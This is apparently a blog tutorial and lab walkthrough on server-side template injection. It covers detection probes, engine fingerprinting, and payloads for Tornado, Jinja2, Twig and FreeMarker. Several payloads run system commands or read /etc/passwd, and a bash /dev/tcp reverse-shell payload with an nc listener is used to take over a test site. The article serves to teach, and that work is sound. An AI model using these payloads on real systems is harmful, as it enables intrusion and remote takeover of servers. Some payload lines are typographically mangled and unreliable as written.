Server-Side Template Injection (SSTI)

What is Server-Side Template Injection?

Server-Side Template Injection (SSTI) is a web exploit which takes advantage of an insecure implementation of a template engine.

server-side template injection attacks can occur when user input (template syntax) is concatenated directly into a template, rather than passed in as data. this allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server.

Note : The template engines themselves aren’t vulnerable, rather an insecure implementation by the developer.

Server-side template injection vulnerabilities can expose websites to a variety of attacks depending on the template engine in question and how exactly the application uses it.

  • Access sensitive data and arbitrary files.
  • Remote Code Execution (RCE).

Identifying server-side template injection vulnerabilities and crafting a successful attack typically involves the following high-level process.

Source :

Fuzzing is a technique to determine whether the server is vulnerable by sending template expressions, such as ${{<%[%’”}}%\. If an exception is raised, this indicates that the injected template syntax is potentially being interpreted by the server in some way. This is one sign that a vulnerability to server-side template injection may exist.

After detecting template injection, the next step is to identify the template engine in use. This step is sometimes as trivial as submitting invalid syntax, as template engines may identify themselves in the resulting error messages. However, this technique fails when error messages are suppressed. In some cases, a single payload can have multiple distinct success responses for example, the probe {{7*’7'}} would result in 49 in Twig, 7777777 in Jinja2, and neither if no template language is in use.

Green arrow — The expression evaluated (i.e. ${7*7} = 49)

Red arrow — The expression is shown in the output (i.e. ${7*7} = ${7*7})

Source :

After detecting that a potential vulnerability exists and successfully identifying the template engine, you can begin trying to find ways of exploiting it. Finding payloads from GitHub repo.

Tornado (Python)

{{7*7}} = 49

{{7*’7'}} = 7777777

{% import foobar %} = Error

{% import os %}{{ os.popen(“whoami”).read() }}

#Tornado RCE

{% import os %}{{ os.popen(“/bin/bash -c ‘/bin/bash -i >& /dev/tcp/ 0>&1’”).read() }}

Jinja2 (Python)

{{ get_file(‘/etc/passwd’) }}

{{“/etc/passwd”).read() }}

Twig (PHP)

{{7*7}} = 49

{{7*’7'}} = 49


FreeMarker (Java)

<#assign ex = “freemarker.template.utility.Execute”?new()>${ ex(“id”)}

[#assign ex = ‘freemarker.template.utility.Execute’?new()]${ ex(‘id’)}


Secure methods

Most template engines will have a feature that allows you to pass input in as data, rather that concatenating input into the template.


User input can not be trusted!, every place in your application where a user is allowed to add custom content, make sure the input is sanitized!, this can be done by first planning what character set you want to allow, and adding these to a whitelist.

First, found webpage give user input and testing by add first name is john.

After click submit button, web page will show display “Hello john!” (john is first name from user input)

Note : webpage has dynamic content is rendered from user input. this point have opportunities potential to SSTI vulnerability.

Next, test by add simply template syntax and check return result for identify template engine.

Webpage return result dynamic content from user input.

Next, test by add template syntax {{7*7}} (use in Jinja2, Twig, Tornado).

Webpage return content is rendered expression evaluated by user input.

Next, testing by add template syntax {{7*’7’}} (use in Jinja2, Twig, Tornado) for identify template engine, return 49 in Twig and return 7777777 in Jinja2, return like Jinja2 in Tornado.

Webpage return content is rendered (7777777) like in Jinja2 (Python) and Tornado (Python).

But after test by add Jinja2 payload, server return internal server error, this might not be Jinja2 template.

Next, test by add Tornado payload “{% import os %}{{ os.popen(“whoami”).read() }}”.

Webpage return content “root”, this result get from command “whoami”. This can confirm website have SSTI vulnerability in Tornado template engine.

Next, POC in RCE exploit by SSTI technique.

  1. check your own machine IP (ip add, ifconfig).

2. open port listening. (nc -lvnp 4444)

3. craft remote code execution payload and execute on webpage.

example payload : {% import os %}{{ os.popen(“/bin/bash -c ‘/bin/bash -i >& /dev/tcp/ 0>&1’”).read() }}

4. success, we get the reverse shell from target website.



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store

You get the best out of others when you give the best of yourself